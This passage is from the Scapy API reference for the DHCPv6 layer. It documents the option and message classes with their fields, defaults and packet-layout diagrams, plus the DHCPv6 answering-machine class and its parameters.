 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ENTERPRISENUM                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REMOTEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptRemoteID                       


DHCP6OptRemoteID fields






	optcode

	ShortEnumField

	37



	optlen

	FieldLenField

	None



	enterprisenum

	IntEnumField

	None



	remoteid

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptSIPDomains(_pkt, /, *, optcode=21, optlen=None, sipdomains=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L735-L740]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SIPDOMAINS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptSIPDomains                      


DHCP6OptSIPDomains fields






	optcode

	ShortEnumField

	21



	optlen

	FieldLenField

	None



	sipdomains

	DomainNameListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptSIPServers(_pkt, /, *, optcode=22, optlen=None, sipservers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L743-L748]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SIPSERVERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptSIPServers                      


DHCP6OptSIPServers fields






	optcode

	ShortEnumField

	22



	optlen

	FieldLenField

	None



	sipservers

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptSNTPServers(_pkt, /, *, optcode=31, optlen=None, sntpservers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L831-L836]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SNTPSERVERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptSNTPServers                     


DHCP6OptSNTPServers fields






	optcode

	ShortEnumField

	31



	optlen

	FieldLenField

	None



	sntpservers

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptServerId(_pkt, /, *, optcode=2, optlen=None, duid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L366-L368]

	Bases: DHCP6OptClientId


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptServerId                       


DHCP6OptServerId fields






	optcode

	ShortEnumField

	2



	optlen

	FieldLenField

	None



	duid

	PacketLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptServerUnicast(_pkt, /, *, optcode=12, optlen=16, srvaddr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L567-L571]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SRVADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptServerUnicast                    


DHCP6OptServerUnicast fields






	optcode

	ShortEnumField

	12



	optlen

	ShortField

	16



	srvaddr

	_SrvAddrField

	None















	
class scapy.layers.dhcp6.DHCP6OptStatusCode(_pkt, /, *, optcode=13, optlen=None, statuscode=None, statusmsg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L585-L592]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STATUSCODE          |           STATUSMSG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptStatusCode                      


DHCP6OptStatusCode fields






	optcode

	ShortEnumField

	13



	optlen

	FieldLenField

	None



	statuscode

	ShortEnumField

	None



	statusmsg

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptSubscriberID(_pkt, /, *, optcode=38, optlen=None, subscriberid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L904-L911]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SUBSCRIBERID         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptSubscriberID                     


DHCP6OptSubscriberID fields






	optcode

	ShortEnumField

	38



	optlen

	FieldLenField

	None



	subscriberid

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptUnknown(_pkt, /, *, optcode=0, optlen=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L342-L347]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DHCP6OptUnknown                       


DHCP6OptUnknown fields






	optcode

	ShortEnumField

	0



	optlen

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptUserClass(_pkt, /, *, optcode=15, optlen=None, userclassdata=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L637-L643]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         USERCLASSDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptUserClass                      


DHCP6OptUserClass fields






	optcode

	ShortEnumField

	15



	optlen

	FieldLenField

	None



	userclassdata

	_UserClassDataField

	[]















	
class scapy.layers.dhcp6.DHCP6OptVSS(_pkt, /, *, optcode=68, optlen=None, type=255, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1066-L1073]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DHCP6OptVSS                         


DHCP6OptVSS fields






	optcode

	ShortEnumField

	68



	optlen

	FieldLenField

	None



	type

	ByteField

	255



	data

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptVendorClass(_pkt, /, *, optcode=16, optlen=None, enterprisenum=None, vcdata=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L656-L664]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ENTERPRISENUM                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VCDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptVendorClass                     


DHCP6OptVendorClass fields






	optcode

	ShortEnumField

	16



	optlen

	FieldLenField

	None



	enterprisenum

	IntEnumField

	None



	vcdata

	_VendorClassDataField

	[]















	
class scapy.layers.dhcp6.DHCP6OptVendorSpecificInfo(_pkt, /, *, optcode=17, optlen=None, enterprisenum=None, vso=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L682-L690]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ENTERPRISENUM                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VSO              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. DHCP6OptVendorSpecificInfo                  


DHCP6OptVendorSpecificInfo fields






	optcode

	ShortEnumField

	17



	optlen

	FieldLenField

	None



	enterprisenum

	IntEnumField

	None



	vso

	_VendorClassDataField

	[]















	
class scapy.layers.dhcp6.DHCP6_Advertise(_pkt, /, *, msgtype=2, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1204-L1212]

	Bases: DHCP6


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1209-L1212]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. DHCP6_Advertise                       


DHCP6_Advertise fields






	msgtype

	ByteEnumField

	2



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Confirm(_pkt, /, *, msgtype=4, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1245-L1247]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Confirm                        


DHCP6_Confirm fields






	msgtype

	ByteEnumField

	4



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Decline(_pkt, /, *, msgtype=9, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1341-L1343]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Decline                        


DHCP6_Decline fields






	msgtype

	ByteEnumField

	9



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_InfoRequest(_pkt, /, *, msgtype=11, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1377-L1379]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. DHCP6_InfoRequest                      


DHCP6_InfoRequest fields






	msgtype

	ByteEnumField

	11



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Rebind(_pkt, /, *, msgtype=6, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1278-L1280]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Rebind                         


DHCP6_Rebind fields






	msgtype

	ByteEnumField

	6



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Reconf(_pkt, /, *, msgtype=10, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1359-L1362]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Reconf                         


DHCP6_Reconf fields






	msgtype

	ByteEnumField

	10



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_RelayForward(_pkt, /, *, msgtype=12, hopcount=None, linkaddr='::', peeraddr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1395-L1404]

	Bases: _DHCP6OptGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |    HOPCOUNT   |            LINKADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            PEERADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6_RelayForward                      


DHCP6_RelayForward fields






	msgtype

	ByteEnumField

	12



	hopcount

	ByteField

	None



	linkaddr

	IP6Field

	'::'



	peeraddr

	IP6Field

	'::'











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1403-L1404]

	








	
class scapy.layers.dhcp6.DHCP6_RelayReply(_pkt, /, *, msgtype=13, hopcount=None, linkaddr='::', peeraddr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1425-L1436]

	Bases: DHCP6_RelayForward


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1432-L1436]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |    HOPCOUNT   |            LINKADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            PEERADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6_RelayReply                       


DHCP6_RelayReply fields






	msgtype

	ByteEnumField

	13



	hopcount

	ByteField

	None



	linkaddr

	IP6Field

	'::'



	peeraddr

	IP6Field

	'::'











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1429-L1430]

	








	
class scapy.layers.dhcp6.DHCP6_Release(_pkt, /, *, msgtype=8, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1326-L1328]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Release                        


DHCP6_Release fields






	msgtype

	ByteEnumField

	8



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Renew(_pkt, /, *, msgtype=5, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1267-L1269]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. DHCP6_Renew                         


DHCP6_Renew fields






	msgtype

	ByteEnumField

	5



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Reply(_pkt, /, *, msgtype=7, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1306-L1317]

	Bases: DHCP6


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1312-L1317]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. DHCP6_Reply                         


DHCP6_Reply fields






	msgtype

	ByteEnumField

	7



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Request(_pkt, /, *, msgtype=3, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1232-L1234]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Request                        


DHCP6_Request fields






	msgtype

	ByteEnumField

	3



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCP6_Solicit(_pkt, /, *, msgtype=1, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1190-L1193]

	Bases: DHCP6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6_Solicit                        


DHCP6_Solicit fields






	msgtype

	ByteEnumField

	1



	trid

	X3BytesField

	0















	
class scapy.layers.dhcp6.DHCPv6_am(self, dns='2001:500::1035', domain='localdomain, local', startip='2001:db8::1', endip='2001:db8::20', duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1443-L1944]

	Bases: AnsweringMachine


	
filter: str | None = 'udp and port 546 and port 547'

	




	
function_name = 'dhcp6d'

	




	
is_request(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1616-L1737]

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1766-L1944]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(dns='2001:500::1035', domain='localdomain, local', startip='2001:db8::1', endip='2001:db8::20', duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1513-L1614]

	




	
print_reply(req, reply)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1739-L1764]

	




	
usage()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1447-L1511]

	








	
class scapy.layers.dhcp6.DUID_EN(_pkt, /, *, type=2, enterprisenum=311, id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L277-L281]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |         ENTERPRISENUM         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DUID_EN                           


DUID_EN fields






	type

	ShortEnumField

	2



	enterprisenum

	IntEnumField

	311



	id

	StrField

	b''















	
